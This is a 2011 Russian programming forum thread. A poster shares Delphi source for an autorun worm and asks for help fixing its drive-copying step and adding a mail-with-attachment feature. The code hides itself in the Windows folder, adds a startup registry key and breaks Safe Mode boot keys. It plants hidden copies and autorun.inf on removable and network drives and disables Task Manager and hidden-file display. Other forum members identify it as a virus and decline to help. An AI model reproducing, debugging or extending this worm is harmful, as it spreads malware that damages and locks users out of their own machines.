| 
| 
 | Вопрос # 5 109/ вопрос открыт / | 
 |  Здравствуйте, эксперты!
 Доброго времени суток, уважаемые эксперты!
 
 уже вторую неделю не могу умучить(написать) прогу све пишет какие то ошибки или отказывается работать,пожалуста помогите....
 
 привожу код проги выдает ошибку при запуске когда вызывается копирование на флешку и нэт-диск,помогите решить эту проблему плиз...
 
 И еше подскажите в написании к этой же программе процедуры для отправки письма на mail.ru с вложением зарание спасибо.....
 Приложение:Переключить в обычный режим unit Unit1; interface uses  Windows,    Messages,      SysUtils,        Variants,          Classes,            Graphics,              Controls,                Forms,                  Dialogs,                    StdCtrls,                      Registry,                        shellapi,                          inifiles,                            IdComponent,                              IdTCPServer,                                IdSMTPServer,                                  IdBaseComponent,                                    IdMessage, IdTCPConnection,  IdTCPClient, IdMessageClient, IdSMTP; type  TForm1 = class(TForm)    msg: TIdMessage;    IdSMTP2: TIdSMTP;  private    { Private declarations }   public    { Public declarations }    {Connect for Novell}end; var  Form1: TForm1;  reg : TRegistry; implementation {$R *.dfm} function WinDir: string;varWinDir: PChar;  begin  WinDir := StrAlloc(MAX_PATH);  GetWindowsDirectory(WinDir, MAX_PATH);  Result := string(WinDir);    if Result[Length(Result)] <> '\' then    Result := Result + '\';    StrDispose(WinDir);end; procedure CopyWin;  begin    if    not FileExists(WinDir+'Nyhia.exe')      then        begin        CopyFile(PChar(ParamStr(0)), PChar(WinDir+'Nyhia.exe'),True);        SetFileAttributes(PChar(WinDir+'Nyhia.exe'),FILE_ATTRIBUTE_HIDDEN);        halt;end  else  sleep(1);end; procedure InFect(FileName: String);  var  F : TextFile;  text : string;    beginAssignFile(F,FileName);ReWrite(F);WriteLn(F,'[AUTORUN]');Write(F,'shellexecute=Novell.exe'); Write(F,'shell\explore\Command=Novell.exe');  Write(F,'shell\open\Command=Novell.exe');CloseFile(F);Reset(F); while not Eof(F) do  begin    ReadLn(F, text);  end;  CloseFile(F);end; procedure registr;beginreg:=TRegistry.Create;reg.RootKey:=HKEY_LOCAL_MACHINE;if not Reg.KeyExists('SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NovellNT') thenbeginreg.MoveKey('System\CurrentControlSet\Control\SafeBoot\minimal','System\CurrentControlSet\Control\SafeBoot\M',true);reg.CloseKey;reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\NetWork','System\CurrentControlSet\Control\SafeBoot\N',true);reg.CloseKey;reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True);reg.WriteString('NovellNT', WinDir+'Nyhia.exe');reg.CloseKey;reg.free;endelsesleep(1);end;  procedure Click;   var  x: int64;  bit: integer;  i: integer;  tp: Uint;  tip: string;     begin    x:=GetLogicalDrives();      if      x=0        then          else      begin        for i:=1 to 64 do         begin        bit:=x and 1;          if          bit=1            then           begin          tp:=GetDriveType(PChar(chr(64+i)+':/'));          tip:='';            if            tp=DRIVE_REMOVABLE              then                 begin    CopyFile(PChar(ParamStr(0)), PChar(chr(64+i)+':/'+'novell.exe'),True);    SetFileAttributes(PChar(chr(64+i)+':/'+'novell.exe'),FILE_ATTRIBUTE_HIDDEN);    InFect(PChar(chr(64+i)+':/'+'autorun.inf'));    SetFileAttributes(PChar(chr(64+i)+':/'+'autorun.inf'),FILE_ATTRIBUTE_HIDDEN);end; iftp=DRIVE_FIXED  then  iftp=DRIVE_REMOTE  then  tip:='remote (network)';    begin    CopyFile(PChar(ParamStr(0)), PChar(chr(64+i)+':/'+'novell.exe'),True);    SetFileAttributes(PChar(chr(64+i)+':/'+'novell.exe'),FILE_ATTRIBUTE_HIDDEN);    InFect(PChar(chr(64+i)+':/'+'autorun.inf'));    SetFileAttributes(PChar(chr(64+i)+':/'+'autorun.inf'),FILE_ATTRIBUTE_HIDDEN);end; iftp=DRIVE_CDROM  then  tip:='CDROM'; iftp=DRIVE_RAMDISK  then  tip:='RAM disk';end; x:= x shr 1;end;end;end; procedure WinOff;varR : TRegistry;beginR:=TRegistry.Create;  R.RootKey:= HKEY_CURRENT_USER;    R.OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced',True);      R.WriteInteger('Hidden',0);  R.CloseKey;   
R.OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL',True);      R.WriteInteger('CheckedValue',0);  R.CloseKey;    R.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',True);      R.WriteInteger('NoFolderOptions',1);  R.CloseKey;    R.OpenKey('software\Microsoft\Windows\CurrentVersion\Policies\system',true);      R.WriteInteger('DisableTaskMgr',1);  R.closekey;R.Free;end; beginCopyWin;registr;Click;WinOff;exit;Halt(4);end. 
|  |   Вопрос задал: Novell (статус: Посетитель)Вопрос отправлен: 21 марта 2011, 14:07
 Состояние вопроса: открыт, ответов: 0.
 |  
 Мини-форум вопросаВсего сообщений: 5; последнее сообщение — 22 марта 2011, 04:44; участников в обсуждении: 4. 
|   | min@y™ (статус: Доктор наук), 21 марта 2011, 14:11 [#1]:Исходник с таким чудовищным форматированием читать не хочется - глаза режет. 
 Цитата (Novell): привожу код проги выдает ошибку при запуске когда вызывается копирование на флешку и нэт-диск Ошибка в какой строке? Какое сообщение об ошибке выдаётся?
 Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп! |  
|   | Вадим К (статус: Академик), 21 марта 2011, 14:39 [#2]:код в некоторых местах просто жуть. к примеру exit;
 Halt(4);
 это как? если exit не сработал, то мы прибем приложение? Вообще то halt применять в обычном приложении не стоит. оно не для того.
 
 Просмотрев весь код, очень похоже на авторан вирус. Разберем к примеру, что пишется в реестр
 Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced = hidden (Показывать/непоказывать скрытые файлы. Кстати, значение 0 там ничего не дает. там другие цифры нужно писать).
 дальше, отключено выбор свойств папки и менеджер задач. Только эти три поля заставляют нормального человека задуматься.
 
 
 Вердикт - перед нами начинающий вирусописатель, но немного необразованный. Да и само имя дроппера "Nyhia.exe" выглядит уж очень подозрительным.
 
 Novell - докажи обратное.
 Галочка "подтверждения прочтения" - вселенское зло. |  
|   | min@y™ (статус: Доктор наук), 21 марта 2011, 14:45 [#3]:Запись файла Autorun.inf на съёмные носители тоже вызывает ОЧЕНЬ нехорошие мысли. Айяйяй!.. Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп! |  
|   | Amidamaru (статус: 4-ый класс), 21 марта 2011, 14:46 [#4]:ужас! да ещё и инди... И действительно, даже мои первые программки, условно нарушающие работу системы, были намного изящнее
 правда я не использовал код для самораспространения, темболее по сети.
 |  
|   | Novell (статус: Посетитель), 22 марта 2011, 04:44 [#5]:ладно надеюсь все высказали свое мнение о вирусологии....,я так понимаю подсказать как избавиться от ошибки не кто не хочет... ладно спосиб,буду искать помощи в другом месте....... |  Чтобы оставлять сообщения в мини-форумах, Вы должны авторизироваться на сайте. |